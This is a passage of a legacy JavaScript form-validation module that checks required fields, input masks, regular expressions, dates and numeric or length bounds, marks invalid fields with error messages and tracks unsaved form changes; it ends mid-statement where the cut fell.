//Javascript UniVAL Module

if (typeof KT_FVO == 'undefined') {
	KT_FVO = {};
	KT_FVO_properties = {
		noTriggers: 0,
		noTransactions: 0
	}
}
//configuration variables
$UNI_GLOBALVARNAME = 'KT_FVO';
$UNI_GLOBALVARNAME_MESSAGES = 'UNI_Messages';

$UNI_ATTRNAME_ERRORMESSAGE = 'errormessage';
$UNI_DEFAULTERRORMESSAGE = 'The field \'%s\' has an invalid value !';
$UNI_FORM_SUBMIT_PRIORITY = 10;

$UNI_CLASSNAME_ERROR_LABEL = 'form_validation_field_error_label';
$UNI_CLASSNAME_ERROR_CONTAINER = 'form_validation_field_error_container';
$UNI_CLASSNAME_ERROR_ELEMENT = 'form_validation_field_error_text';
$UNI_CLASSNAME_ERROR_ERROR_ELEMENT = 'form_validation_field_error_error_message';
$UNI_CLASSNAME_ERROR_SS = 'KT_field_error';
$UNI_CLASSNAME_ERROR_FORM = 'form_validation_form_error';

$UNI_DELETE_BUTTON_NAME = /delete/i;
$UNI_INSERT_BUTTON_NAME = /insert/i;
$UNI_UPDATE_BUTTON_NAME = /update/i;
$UNI_CANCEL_BUTTON_NAME = /cancel/i;
$UNI_LOGIN_BUTTON_NAME = /login/i;

/*
Recognized date time masks:
Date
	m/d/yy
	d/m/yy
	d.m.yy
	mm/dd/yyyy
	dd/mm/yyyy
	dd.mm.yyyy
	yyyy-mm-dd
Time 
	h:ii:ss t
	HH:ii:ss
	H:ii:ss
	hh:ii:ss tt
*/

function UNI_isktml(el) {
	var is_ktml = false;
	if (typeof el.name != 'undefined') {
		if (typeof ktmls != 'undefined' && ktmls != null && ktmls.length) {
			var is_ktml = false;
			Array_each(ktmls, function(ktml) {
				if (ktml.name == el.name) {
					is_ktml = ktml;
				}
			});
		}
	}
	return is_ktml;
}

function UNI_date2regexp(txt) {
	return utility.date.date2regexp(txt);
}

function UNI_mask2regexp(txt) {
	txt = txt.replace(/([-\/\[\]()\*\+])/g, '\\$1');
	txt = txt.replace(/9/g, '\\d');
	txt = txt.replace(/\?/g, '.');
	txt = txt.replace(/X/g, '\\w');
	txt = txt.replace(/A/g, '[A-Za-z]');
	var re = new RegExp('^' + txt + '$');
	return re;
}

function UNI_regexp2regexp(txt) {
	var sep = txt.substring(0, 1);
	var pos = txt.lastIndexOf(sep);

	var reg = txt.substring(1, pos);
	var mods = '';
	if (pos+1 <= txt.length-1) {
		var mods = txt.substring(pos+1, txt.length);
	}
	var re = new RegExp(reg, mods);
	return re;
}

function UNI_init_error_elements(el) {
	var ret = {};
	var el_name = el.name;

	var allLabels = document.getElementsByTagName("LABEL");
	for(var i=0; i < allLabels.length; i++) {
		if (allLabels[i].htmlFor == el.id) {
			ret['label'] = allLabels[i];
			break;
		}
	}
	var is_widget = el.getAttribute("wdg:type")!=null;

	if (is_widget) {
		var zel = el;
		while(zel) {
			if(typeof(zel.className) != "undefined" && zel.className.indexOf("widget_container")>=0) {
				break;
			}
			zel = zel.parentNode;
		}
		if (zel) {
			el = zel;
		}
	}

	ret['container'] = el.parentNode;
	while(ret['container'].nodeType != 1) {
		ret['container'] = ret['container'].parentNode;
	}

	var dv = document.getElementById(el_name + '_error_element');
	if (dv != null) {
		ret['error_element'] = dv;
	} else {
		ret['error_element'] = utility.dom.createElement("DIV", {
			'id': el_name + '_error_element'
		});
		var server_side = utility.dom.getElementsByClassName(el.parentNode, $UNI_CLASSNAME_ERROR_SS);
		if (server_side.length > 0) {
			el.parentNode.removeChild(server_side[0]);
		}
		var spn = utility.dom.getElementsByClassName(el.parentNode, 'KT_field_hint')[0];
		if (typeof spn == 'undefined') {
			spn = el;
			if (el.type) {
				if (el.type.toString().toLowerCase() == 'radio') {
					try {
						spn = el.parentNode;
					} catch(e) { spn = el; }
				}
			}
		}
		//find the last element in the container element to insert the error_element after (it should be the last)
		while (spn.nextSibling) {
			spn = spn.nextSibling;
		}
		ret['error_element'] = utility.dom.insertAfter(ret['error_element'], spn);
	}

	return ret;
}

function UNI_fieldok_action(el, props) {
	var errorElements = UNI_init_error_elements(el);
	try {
		utility.dom.classNameRemove(errorElements['label'], $UNI_CLASSNAME_ERROR_LABEL); 
		utility.dom.classNameRemove(errorElements['container'], $UNI_CLASSNAME_ERROR_CONTAINER); 
		utility.dom.classNameRemove(el, $UNI_CLASSNAME_ERROR_ELEMENT); 
		errorElements['error_element'].parentNode.removeChild(errorElements['error_element']);
	} catch(e) { }
	errorElements = undefined;
}

function UNI_required_action(el, props) {
	var errorElements = UNI_init_error_elements(el);
	if (errorElements.label) 
		utility.dom.classNameAdd(errorElements.label, $UNI_CLASSNAME_ERROR_LABEL);
	if (errorElements.container)
		utility.dom.classNameAdd(errorElements.container, $UNI_CLASSNAME_ERROR_CONTAINER);
	if (el)	
		utility.dom.classNameAdd(el, $UNI_CLASSNAME_ERROR_ELEMENT);

	var errorMessage = props['errorMessage'];
	if (errorMessage == '') {
		//TODO : the required message has ONE %s : the element name
		errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]["required"], el.name);
	}

	try {
		errorElements['error_element'].innerText = errorMessage;
		errorElements['error_element'].innerHTML = errorMessage;
	} catch(e) { }
	if (errorElements.error_element)
		utility.dom.classNameAdd(errorElements.error_element, $UNI_CLASSNAME_ERROR_ERROR_ELEMENT);
}

function UNI_format_action(el, props) {
	var errorElements = UNI_init_error_elements(el);

	if (errorElements.label) 
		utility.dom.classNameAdd(errorElements.label, $UNI_CLASSNAME_ERROR_LABEL);
	if (errorElements.container)
		utility.dom.classNameAdd(errorElements.container, $UNI_CLASSNAME_ERROR_CONTAINER);
	if (el)	
		utility.dom.classNameAdd(el, $UNI_CLASSNAME_ERROR_ELEMENT);

	var errorMessage = props['errorMessage'];
	if (errorMessage == '') {
		//TODO : the format message has ONE %s : the format name
		//TODO : we only get the interned format name, but we should have the screen format name
		var mesg1 = window[$UNI_GLOBALVARNAME_MESSAGES][props['type'] + '_' + props['format'] ];
		var mesg2 = window[$UNI_GLOBALVARNAME_MESSAGES][props['type'] + '_'];
		if (typeof mesg1 != 'undefined') {
			errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]['format'], mesg1);
		} else if (typeof mesg2 != 'undefined') {
			errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]['format'], mesg2);;
		} else {
			errorMessage = utility.string.sprintf(window[$UNI_GLOBALVARNAME_MESSAGES]['format'], props['format']);
		}
	}
		
	try {
		errorElements['error_element'].innerText = errorMessage;
		errorElements['error_element'].innerHTML = errorMessage;
	} catch(e) { }
	if (errorElements.error_element)
		utility.dom.classNameAdd(errorElements.error_element, $UNI_CLASSNAME_ERROR_ERROR_ELEMENT);
}

function UNI_boundary_action(el, props, test_min, test_max) {
	sprintf = utility.string.sprintf;
	var errorElements =  UNI_init_error_elements(el);

	if (errorElements.label) 
		utility.dom.classNameAdd(errorElements.label, $UNI_CLASSNAME_ERROR_LABEL);
	if (errorElements.container)
		utility.dom.classNameAdd(errorElements.container, $UNI_CLASSNAME_ERROR_CONTAINER);
	if (el)	
		utility.dom.classNameAdd(el, $UNI_CLASSNAME_ERROR_ELEMENT);

	var prefix = (props['type'] == 'text') ? 'text' : 'other';
	var errorMessage = props['errorMessage'];
	if (errorMessage == '') {
		//TODO : we only get the interned format name, but we should have the screen format name
		if (test_min != null && test_max != null) {
			errorMessage = sprintf(window[$UNI_GLOBALVARNAME_MESSAGES][prefix + '_between'], props['min'], props['max']);
		} else {
			if (test_min != null) {
				errorMessage = sprintf(window[$UNI_GLOBALVARNAME_MESSAGES][prefix + '_min'], props['min']);
			} else {
				errorMessage = sprintf(window[$UNI_GLOBALVARNAME_MESSAGES][prefix + '_max'], props['max']);
			}
		}
	}

	try {
		errorElements['error_element'].innerText = errorMessage;
		errorElements['error_element'].innerHTML = errorMessage;
	} catch(e) { }
	if (errorElements.error_element)
		utility.dom.classNameAdd(errorElements.error_element, $UNI_CLASSNAME_ERROR_ERROR_ELEMENT);
}

function UNI_validateRegExp(el, props) {
	var toret = true;
	var re = UNI_regexp2regexp(props['additional_params']);
	if (!re.exec(el.value)) {
		toret = false;
	}
	return toret;
}

function UNI_validateMask(el, props) {
	var toret = true;
	var re =  UNI_mask2regexp(props['additional_params']);
	if (!re.exec(el.value)) {
		toret = false;
	}
	return toret;
}

function UNI_parse_date(arr, dateMask) {
	return utility.date.parse_date(arr, dateMask);
}


function UNI_dateBuilder(year, month, day, hour, minutes, seconds) {
	var month_length = [31,28,31,30,31,30,31,31,30,31,30,31];
	if (! (parseInt(year) > 0)) { return false; }
	if (! (parseInt(month) > 0 && parseInt(month) <= 12)) { return false; }
	if ((
			(parseInt(year) % 4 == 0) 
			&& 
			(parseInt(year) % 100 != 0)
		) 
		|| 
			(parseInt(year) % 400 == 0)
		) {
			month_length[1] = 29;
	}
	if (! (parseInt(day) > 0 && parseInt(day) <= month_length[parseInt(month)-1])) { return false; }

	month_length[1] = 28;
	if (! (parseInt(hour) >= 0 && parseInt(hour) <= 23)) { return false; }
	if (! (parseInt(minutes) >= 0 && parseInt(minutes) <= 59)) { return false; }
	if (! (parseInt(seconds) >= 0 && parseInt(seconds) <= 59)) { return false; }

	year = utility.math.zeroPad(year, 4);
	month = utility.math.zeroPad(month, 2);
	day = utility.math.zeroPad(day, 2);
	hour = utility.math.zeroPad(hour, 2);
	minutes = utility.math.zeroPad(minutes, 2);
	seconds = utility.math.zeroPad(seconds, 2);

	return year + month + day + hour + minutes + seconds;
}

function UNI_validateDate(el, props) {
	var toret = true;
	var dateMask = props['additional_params'];
	var re = utility.date.date2regexp(dateMask);
	var arr = re.exec(el.value);
	if (!arr) {
		toret = false;
	} else {
		var o = utility.date.parse_date(arr, dateMask);
		var newDate = UNI_dateBuilder(o['year'], o['month'], o['day'], o['hour'], o['minutes'], o['seconds']);
		if (newDate == false) {
			toret = false;
		}
	}

	return toret;
}

function UNI_validate_required(el, props) {
	var toret = true;
	if (el.type.toString().toLowerCase() == 'radio') {
		var arr = [];
		Array_each(el.form.elements, function(el2, i2) {
			if (el2.name == el.name) {
				Array_push(arr, el2);
			}
		});
		toret = false;
		Array_each(arr, function(el, i) {
			if (el.checked) {
				toret = true;
			}
		});
		if (!toret) {
			UNI_required_action(el, props);
		}
	} else if (
		el.value == '' ||
		el.value.match(/^<br[^>]*>$/gi) ||
		el.value.match(/^<p[^>]*>(&nbsp;|)<\/p>$/gi) ||
		el.value.match(/^<div[^>]*>(&nbsp;|)<\/div>$/gi) ||
		el.value.match(/^<span[^>]*>(&nbsp;|)<\/span>$/gi) ||
		(el.type.toLowerCase() == 'checkbox' && el.checked == false)
		) {
		UNI_required_action(el, props);
		toret = false;
	}
	return toret;
}

function UNI_validate_generic(el, props) {
	var toret = true;
	if (el.value != '') {
		if (props['additional_params'] != '') {
			var is_a_regexp =/^([^0-9A-Za-z]).*\1[gism]*$/;
			if (props['additional_params'].match(is_a_regexp)) {
				var validator = UNI_validateRegExp;
			} else {
				var validator = UNI_validateMask;
			}
			if (!validator(el, props)) {
				UNI_format_action(el, props);
				toret = false;
			}	
		}

	}
	return toret;
}

function UNI_validate_format_regexp(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateRegExp(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		}
	}
	return toret;
}

function UNI_validate_format_mask(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateMask(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		}
	}
	return toret;
}

function UNI_validate_format_date(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateDate(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		}
	}
	return toret;
}

function UNI_validate_format_text_ip(el, props) {
	var toret = true;
	if (el.value != '') {
		if (!UNI_validateRegExp(el, props)) {
			UNI_format_action(el, props);
			toret = false;
		} else {
			Array_each(el.value.toString().split('.'), function(match) {
				if (parseInt(match) > 255) {
					UNI_format_action(el, props);
					toret = false;
					return;
				}
			});
		}
	}
	return toret;
}

function UNI_validate_minmax(el, props) {
	var toret = true, test_max = true, test_min = true;
	if (el.value != '') {
		if (props['min'] != '') {
			test_min = el.value >= props['min'];
			toret = toret && test_min;
		}
		if (props['max'] != '') {
			test_max = el.value <= props['max'];
			toret = toret && test_max;		
		}
		if (! (test_max && test_min)) {
			UNI_boundary_action(el, props, test_min, test_max);
		}
	}
	return toret;
}

function UNI_validate_minmax_text(el, props) {
	var toret = true, test_max = null, test_min = null;
	if (props['min'] != '') {
		var test_min = (el.value.length >= parseInt(props['min']));
		toret = toret && test_min;
	}
	if (props['max'] != '') {
		var test_max = (el.value.length <= parseInt(props['max']));
		toret = toret && test_max;
	}

	if (! (test_max && test_min)) {
		UNI_boundary_action(el, props, test_min, test_max);
	}
	return toret;
}

function UNI_validate_minmax_numeric(el, props) {
	var toret = true, test_max = null, test_min = null;
	if (props['min'] != '') {
		var test_min = (parseFloat(el.value) >= parseFloat(props['min']));
		toret = toret && test_min;
	}
	if (props['max'] != '') {
		var test_max = (parseFloat(el.value) <= parseFloat(props['max']));
		toret = toret && test_max;		
	}
	if (! (test_max && test_min)) {
		UNI_boundary_action(el, props, test_min, test_max);
	}
	return toret;
}
function UNI_validate_minmax_double(el, props) {
	var toret = true, test_max = null, test_min = null;
	if (props['min'] != '') {
		var test_min = (parseFloat(el.value) >= parseFloat(props['min']));
		toret = toret && test_min;
	}
	if (props['max'] != '') {
		var test_max = (parseFloat(el.value) <= parseFloat(props['max']));
		toret = toret && test_max;		
	}
	if (! (test_max && test_min)) {
		UNI_boundary_action(el, props, test_min, test_max);
	}
	return toret;
}


function UNI_validate_minmax_date(el, props) {
	var toret = true, test_max = null, test_min = null;

	var dateMask = props['additional_params'];
	var re = utility.date.date2regexp(dateMask);
	var arr = re.exec(el.value);
	var date1 = utility.date.parse_date(arr, dateMask);
	date1 = UNI_dateBuilder(date1['year'], date1['month'], date1['day'], date1['hour'], date1['minutes'], date1['seconds']);
	if (props['min'] != '') {
		var arr = re.exec(props['min']);
		var date_min = utility.date.parse_date(arr, dateMask);
		var date_min = UNI_dateBuilder(date_min['year'], date_min['month'], date_min['day'], date_min['hour'], date_min['minutes'], date_min['seconds']);
		var test_min = (parseInt(date1) >= parseInt(date_min));
		toret = toret && test_min;
	}
	if (props['max'] != '') {
		var arr = re.exec(props['max']);
		var date_max = utility.date.parse_date(arr, dateMask);
		var date_max = UNI_dateBuilder(date_max['year'], date_max['month'], date_max['day'], date_max['hour'], date_max['minutes'], date_max['seconds']);
		
		var test_max = (parseInt(date1) <= parseInt(date_max));
		toret = toret && test_max;		
	}
	if (! (test_max && test_min)) {
		UNI_boundary_action(el, props, test_min, test_max);
	}
	return toret;
}

//Attaches itself to the form submit buttons and sets checking = on/off, depending on the button name
//TODO : redo insert / update / delete logic ??? 
function UNI_buttonHandler(e) {
	var o = utility.dom.setEventVars(e);
	if (o.targ.name.match($UNI_DELETE_BUTTON_NAME) 
		||o.targ.name.match($UNI_INSERT_BUTTON_NAME) 
		||o.targ.name.match($UNI_UPDATE_BUTTON_NAME) 
		||o.targ.name.match($UNI_LOGIN_BUTTON_NAME) 
		||(typeof o.targ.tagName != 'undefined' && o.targ.type.toLowerCase() == 'submit')) {
		o.targ.form.removeAttribute('haschanged');
	}
	if (o.targ.name.match($UNI_DELETE_BUTTON_NAME) || o.targ.name.match($UNI_CANCEL_BUTTON_NAME)) {
		o.targ.form.setAttribute('donotcheck', '1');
		window.UNI_buttonpressed = o.targ.name;
	} else if((o.targ.name.match($UNI_INSERT_BUTTON_NAME) || o.targ.name.match($UNI_UPDATE_BUTTON_NAME))) {
		o.targ.form.setAttribute('donotcheck', '0');
		window.UNI_buttonpressed = o.targ.name;
	} else {
		o.targ.form.setAttribute('donotcheck', '0');
		window.UNI_buttonpressed = o.targ.name;
	}

}

function UNI_navigateCancel(event, str) {
	var o = utility.dom.setEventVars(event);
	if (o.targ.form.getAttribute('haschanged') != null) {
		if (confirm(UNI_Messages['form_was_modified'])) {
			o.targ.form.removeAttribute('haschanged');
			var loc = str;
			try {
				if (loc.indexOf("/") == 0) {
					//use the absolute path
				} else if (!loc.match(/\w+:\/\//)) {
					loc = document.getElementsByTagName('base')[0].href.toString() + loc;
				}
			} catch(e) { loc = str };
			if (typeof $ctrl != 'undefined') {
				$ctrl.loadPanels(loc);
			} else {
				window.location.href = loc;
			}
			return true;
		} else {
			utility.dom.stopEvent(o.e);
			return false;
		}
	} else {
		var loc = str;
		try {
			if (loc.indexOf("/") == 0) {
				//use the absolute path
			} else if (!loc.match(/\w+:\/\//)) {
				loc = document.getElementsByTagName('base')[0].href.toString() + loc;
			}
		} catch(e) { loc = str };

		if (typeof $ctrl != 'undefined') {
			$ctrl.loadPanels(loc);
		} else {
			window.location.href = loc;
		}
		return true;
	}
}
var UNI_navigateAway_locked = false;
function UNI_navigateAway(e) {
	if (UNI_navigateAway_locked) {
		UNI_navigateAway_locked = false;
	} else {
		var frms = document.forms;
		var toret = false;
		for ( var i = 0; i < frms.length; i++) {
			var frm = frms[i];
			if (frm.getAttribute('haschanged') != null) {
				toret = true;
			}
		}
		if (toret == true) {
			return UNI_Messages['form_was_modified'];
		}
	}
}

//attach events to form submittal buttons
//TODO : redo insert / update / delete logic ??? 
function UNI_attachToButtons() {
	if (is.ie && is.mac) {
		return;
	}
	var frms = document.getElementsByTagName('form');
	for (var i = 0; i < frms.length; i++) {
		var frm = frms[i];
		for (var j = 0; frm.elements.length; j++) {
			var el = frm.elements[j];
			if (el != null) {
				if (el.name) {
					var attached = false;
					//var str = 'on' + (is.safari?'mousedown':'focus');
					//alert(str);
					if (el.name.toString().match($UNI_DELETE_BUTTON_NAME) 
					 || el.name.toString().match($UNI_CANCEL_BUTTON_NAME)
					 ) {
						attached = true;
						el['on' + (is.safari?'mousedown':'focus')] = UNI_buttonHandler;
					}
					if (el.name.toString().match($UNI_INSERT_BUTTON_NAME)
					 || el.name.toString().match($UNI_UPDATE_BUTTON_NAME)
					 ) {
						attached = true;
						el['on' + (is.safari?'mousedown':'focus')] = UNI_buttonHandler;
					}
					if (el.type.toLowerCase() == 'submit' && !attached) {
						el['on' + (is.safari?'mousedown':'focus')] = UNI_buttonHandler;
					}
				}
			} else {
				break;
			}
		}
	}
}

//attach to all the forms in the page, called on "onload"
function UNI_attachToForm() {
	GLOBAL_registerFormSubmitEventHandler('UNI_formSubmittalHandler', $UNI_FORM_SUBMIT_PRIORITY);
	if (is.windows && is.ie) {
		GLOBAL_registerFormSubmitEventHandler('UNI_enableButtonsIEBug', $UNI_FORM_SUBMIT_PRIORITY+1);
	}
	UNI_attachToButtons();
}


function UNI_attachEmptyProps(props) {
	Array_each(['colname', 'required', 'type', 'format', 'additional_params', 'min', 'max', 'errorMessage'], 
		function(prop_name) {
		if (typeof props[prop_name] == 'undefined') {
			props[prop_name] = '';
		}
	});	
	return props;
}

// for the moment : error 0 : no error, error 1 : required, error 2 : illegal value
function UNI_workOnElement(el) {
	var toret = true;

	if (el && el.type && el.type.toLowerCase() == 'hidden') {
		if (!UNI_isktml(el)) {
			return true;
		}
	}
	if (typeof window[$UNI_GLOBALVARNAME] == 'undefined') {
		return true;
	}
	
	var elname = el.name;
	if (!window[$UNI_GLOBALVARNAME][el.name]) {
		elname = elname.replace(/_\d+$/, '');
	}
	var props = UNI_attachEmptyProps(window[$UNI_GLOBALVARNAME][elname]);

	// Validation Step 1 : REQUIRED
	if (props['required']) {
		toret = toret && UNI_validate_required(el, props);
	}
	if (!toret) {
		return toret;
	}

	// Validation Step 2 : FORMAT UNI_validate_[type]_format
	//UNI_validate_text_ip, UNI_validate_text_cc_generic
		//if they don't exist, try to exec UNI_validate_text
			//if they don't exist, try to exec UNI_validate_generic
	if (props['format'] != '' || props['type'] == 'mask' || props['type'] == 'regexp') {
		var functor_specific = window['UNI_validate_format_' + props['type'] + '_' + props['format']];
		var functor_type = window['UNI_validate_format_' + props['type']];
		var functor_generic = UNI_validate_generic;
		if (typeof functor_specific == 'function') {
			toret = toret && functor_specific(el, props);
		} else if (typeof functor_type == 'function') {
			toret = toret && functor_type(el, props);
		} else {
			toret = toret && functor_generic(el, props);
		}
	}
	if (!toret) {
		return toret;
	}
	//Validation Step 3 : min, max
	if (el.value != '') {
		if (props['min'] != '' || props['max'] != '') {
			var functor_specific = window['UNI_validate_minmax_' + props['type']];
			var functor_generic = UNI_validate_minmax;
			if (typeof functor_specific == 'function') {
				toret = toret && functor_specific(el, props);
			} else if (typeof functor_generic == 'function') {
				toret = toret && functor_generic(el, props);
			}
		}
	}
	if (!toret) {
		return toret;
	}

	//Validation Step 4 : delete errors from old fields that have them
	if (toret == true) {
		UNI_fieldok_action(el, props);
	}
	return toret;
}

function UNI_disableButtons(frm, regexp, flag) {
	Array_each(frm.getElementsByTagName('input'), function(button, i) {
		if (button.type && Array_indexOf(['submit', 'button'], button.type.toLowerCase()) >= 0) {
			if (button.className == 'mxw_v' || button.className == 'mxw_add') {
				return true;
			}
			if (button.name.match(regexp)) {
				button.disabled = flag;
			}
		}
	});
}

//what to do when form is submitted
function UNI_formSubmittalHandler(e) {
	if (is.ie && is.mac) {
		return true;
	}

	focus_happened = false;
	var o = utility.dom.setEventVars(e);
	var frm = o.targ;
	frm = utility.dom.getParentByTagName(frm, 'form');
	var returnHandler = true;

	frm.removeAttribute('haschanged');

	//this code "gets" the depressed button in the form, 
	//or finds it, if the enter key has been pressed (no button defined)
	if (typeof window.UNI_buttonpressed != 'undefined') {
		var button_regexp = window.UNI_buttonpressed;
	} else {
		var form_buttons = [];
		Array_each(frm.getElementsByTagName('input'), function(button, i) {
		if (button.type && (
			button.type.toLowerCase() == 'submit' || 
			button.type.toLowerCase() == 'button' 
			)) {
				Array_push(form_buttons, button);
			}
		});
		if (form_buttons.length == 1) {
			var button_regexp = form_buttons[0].name;
		} else {
			var update = false;
			var insert = false;
			var login = false;
			for (var i = 0; i < form_buttons.length; i++) {
				var button = form_buttons[i];
				if (button.name.toString().match($UNI_UPDATE_BUTTON_NAME)) {
					update = true;
				}
				if (button.name.toString().match($UNI_INSERT_BUTTON_NAME)) {
					insert = true;
				}
				if (button.name.toString().match($UNI_LOGIN_BUTTON_NAME)) {
					login = true;
				}
			}
			if (update) {
				var button_regexp = $UNI_UPDATE_BUTTON_NAME;
			} else {
				if (insert) {
					var button_regexp = $UNI_INSERT_BUTTON_NAME;
				} else {
					if (login) {
						var button_regexp = $UNI_LOGIN_BUTTON_NAME;
					}
				}
			}
		}
	}
	//
	Array_each(frm.getElementsByTagName('input'), function(button, i) {
		if (button.type && (
			button.type.toLowerCase() == 'submit' || 
			button.type.toLowerCase() == 'button' 
			)) {
			if (button.className == 'mxw_v' || button.className == 'mxw_add') {
				return true;
			}
			if (button.name.match(button_regexp)) {
				var hd = utility.dom.createElement('input', {
					'type' : 'hidden', 
					'name': button.name, 
					'value': button.value
				});
				hd = frm.appendChild(hd);
			}
		}
	});

	if (frm.getAttribute('donotcheck') == '1') {
		return true;
	}

	var is_update_form = true;
	Array_each(utility.dom.getElementsByTagName(document, 'input'), function(input) {
		if (typeof input.type != 'undefined' && typeof input.name != 'undefined') {
			if (input.type.toLowerCase() == 'hidden' && input.name.toString().match(/^kt_pk/)) {
				if (input.value && input.value == 'KT_NEW') {
					is_update_form = false;
				}
			}
			
		}
	});

	var arr = frm.elements;
	var already_checked = [];
	Array_each(arr, function(el, i) {
		if (Array_indexOf(already_checked, el) >= 0) {
			return;
		}
		if (typeof el.tagName != 'undefined' && el.tagName.toLowerCase() == 'fieldset') {
			return;
		}

		if (el.type.toString().toLowerCase() == 'radio') {
			Array_each(frm.elements, function(el2, i2) {
				if (el2.name == el.name) {
					Array_push(already_checked, el2);
				}
			});
		}
		var tagname = el.tagName;
		var elname = el.name;
		if (!elname) return;
		if (typeof window[$UNI_GLOBALVARNAME] != 'undefined' && typeof window[$UNI_GLOBALVARNAME][elname] == 'undefined') {
			if (!is_update_form) {
				elname = elname.replace(/_1$/, '');
			} else {
				elname = elname.replace(/_\d+$/, '');
			}
		}
		if (typeof window[$UNI_GLOBALVARNAME] != 'undefined' && typeof window[$UNI_GLOBALVARNAME][elname] != 'undefined') {
			var tmp = UNI_workOnElement(el);
			if (!tmp) {
				if (!focus_happened) {
					try { el.focus(); focus_happened = true;} catch(e) { focus_happened = false; }
				}
			}
			returnHandler = returnHandler && tmp;
		}
	});

	if (!returnHandler) {
		frm.setAttribute('fvo_error', '1');
		button_regexp = '';
		if (Array_indexOf(utility.dom.getClassNames(frm), 'KT_tngformerror') >= 0) {
			utility.dom.classNameAdd(frm, $UNI_CLASSNAME_ERROR_FORM);
		}
		return false;
	}

	try {
		utility.dom.classNameRemove(frm, $UNI_CLASSNAME_ERROR_FORM);
	} catch(e) { }

	return returnHandler;
}

function UNI_enableButtonsIEBug(e) {
	var o = utility.dom.setEventVars(e);
	var frm = o.targ;
	frm = utility.dom.getParentByTagName(frm, 'form');
	var regexps = [/[a-z]:\\.*$/i, /\\\\.*$/i];
	var invalid_file = true;
	Array_each(frm.getElementsByTagName('input'), function(el) {
		if (el.type) {
			if (el.type.toLowerCase() == 'file') {
				var flag = false;
				for (var i = 0; i < regexps.length; i++) {
					if (el.value.match(regexps[i])) {
						flag = true;
					}
				}
				invalid_file = invalid_file && flag;
			}
		}
	});
	if (!invalid_file) {
		UNI_disableButtons(frm, /.*/, false);	
	}
	return true;
}

function UNI_handle_required(form_label) {
	var htmlFor = form_label.htmlFor;
	var focus_happened = false;
	if (htmlFor) {
		var el = (is.ie&&htmlFor.toLowerCase()=="description")?document.body.all(htmlFor):document.getElementById(htmlFor);
		if (typeof el != 'undefined' && el != null && typeof window[$UNI_GLOBALVARNAME] != 'undefined') {
			if (typeof el.name == 'undefined' || el.name == null) {
				return;
			}
			var elname = el.name;

			if (!window[$UNI_GLOBALVARNAME][el.name]) {
				elname = elname.replace(/_\d+$/, '');
			}
			var validate_object = window[$UNI_GLOBALVARNAME][elname];
			var ignore_this = false;
			if (el.type.toLowerCase() == 'radio') {
				if (form_label && form_label.parentNode && 
					el && el.parentNode && 
					form_label.parentNode == el.parentNode) {
					var ignore_this = true;
				}
			}
			if (
				typeof validate_object != 'undefined' && 
				typeof validate_object.required != 'undefined' && 
				validate_object.required && 
				!ignore_this
			) {
				var txt = utility.dom.createElement("SPAN", {className: 'KT_required'});
				txt.innerHTML = "*";
				form_label.appendChild(txt);
			}
			var server_side = utility.dom.getElementsByClassName(el.parentNode, $UNI_CLASSNAME_ERROR_SS);
			if (server_side.length > 0 && !focus_happened) {
				try {
					el.focus();
				} catch(e) { }
				focus_happened = true;
				//login form
				if (Array_indexOf(utility.dom.getClassNames(el.form), 'KT_tngformerror') >= 0) {
					//this is a login form
					utility.dom.classNameAdd(el.form, $UNI_CLASSNAME_ERROR_FORM);
				}
			}
		}
	}
}

function UNI_handle_changed(form_label) {
	var htmlFor = form_label.htmlFor;
	var focus_happened = false;
	if (htmlFor) {
		var el = (is.ie&&htmlFor.toLowerCase()=="description")?document.body.all(htmlFor):document.getElementById(htmlFor);
		if (typeof el != 'undefined' && el != null) {
			if (typeof el.name == 'undefined' || el.name == null) {
				return;
			}

			var elname = el.name;
			var ignore_this = false;
			if (el.type.toLowerCase() == 'radio') {
				if (form_label && form_label.parentNode && 
					el && el.parentNode && 
					form_label.parentNode == el.parentNode) {
					var ignore_this = true;
				}
			}
			if (!ignore_this) {
				utility.dom.attachEvent(el, 'change', function(e) {
					try {
						var form = utility.dom.getParentByTagName(this, 'form');
						form.setAttribute('haschanged', '1');
					} catch(e) { }
				});
			}
		}
	}
}

function UNI_form_attach() {
	var tmp, has_update = false;
	var div = utility.dom.getElementsByClassName(document, 'KT_tng', 'div');
	var start_el = null;
	if (div.length == 1) {
		start_el = div[0];
	} else {
		start_el = utility.dom.getElementsByClassName(document, 'KT_tngtable', 'table')[0];
	}
	if (typeof start_el != 'undefined') {
	Array_each(start_el.getElementsByTagName('input'), function(button, i) {
		if (button.type && Array_indexOf(['submit', 'button'], button.type.toLowerCase()) >= 0) {
			if (button.className == 'mxw_v' || button.className == 'mxw_add') { return; }
			if (button.name.match($UNI_UPDATE_BUTTON_NAME)) { has_update = true; }
		}
	});
	if (has_update) {
		var forms = document.getElementsByTagName('form');
		if (typeof KT_FVO_properties != 'undefined' && typeof KT_FVO_properties['noTriggers'] && typeof KT_FVO_properties['noTransactions'] != 'undefined') {
			var noTriggers = parseInt(KT_FVO_properties['noTriggers'], 10);
			var noTransactions = parseInt(KT_FVO_properties['noTransactions'], 10);
			if (noTriggers == 1 && noTransactions > 1) {
				for (i in KT_FVO) {
					var re = new RegExp('^' + i, 'g');
					Array_each(forms, function(form) {
						Array_each(form.elements, function(el) {
							if (el && el.name && el.name.match(re)) {
								if (el.tagName.toLowerCase() == 'input' && el.type) {
									if (Array_indexOf(['file', 'password'], el.type.toLowerCase())>= 0) {
										KT_FVO[i]['required'] = false;
									}
								}
							}
						});
					});
				}
			}
		}
	}
	}

	try {
		if (typeof KT_FVO['kt_login_user']!='undefined') {
			var user_name_ctrl = document.getElementById("kt_login_user");
			if (user_name_ctrl) {
				user_name_ctrl.focus();
			}
		}
	} catch(err) {}

	Array_each(utility.dom.getElementsByClassName(document, 'KT_tngtable', 'TABLE'), function(table, table_index){
		if (table.getAttribute('kt_uni_attached') == null) {
			table.setAttribute('kt_uni_attached', 'true');
			// add classes to containers
			Array_each(utility.dom.getElementsByTagName(table, 'label'), function(form_label) {
				UNI_handle_required(form_label);
				UNI_handle_changed(form_label);
			});
		}
	});
	window["UNI_uniqueid"] = new UIDGenerator();
	UNI_attachToForm();
}

if (typeof UNI_form_attach_executed == 'undefined') {
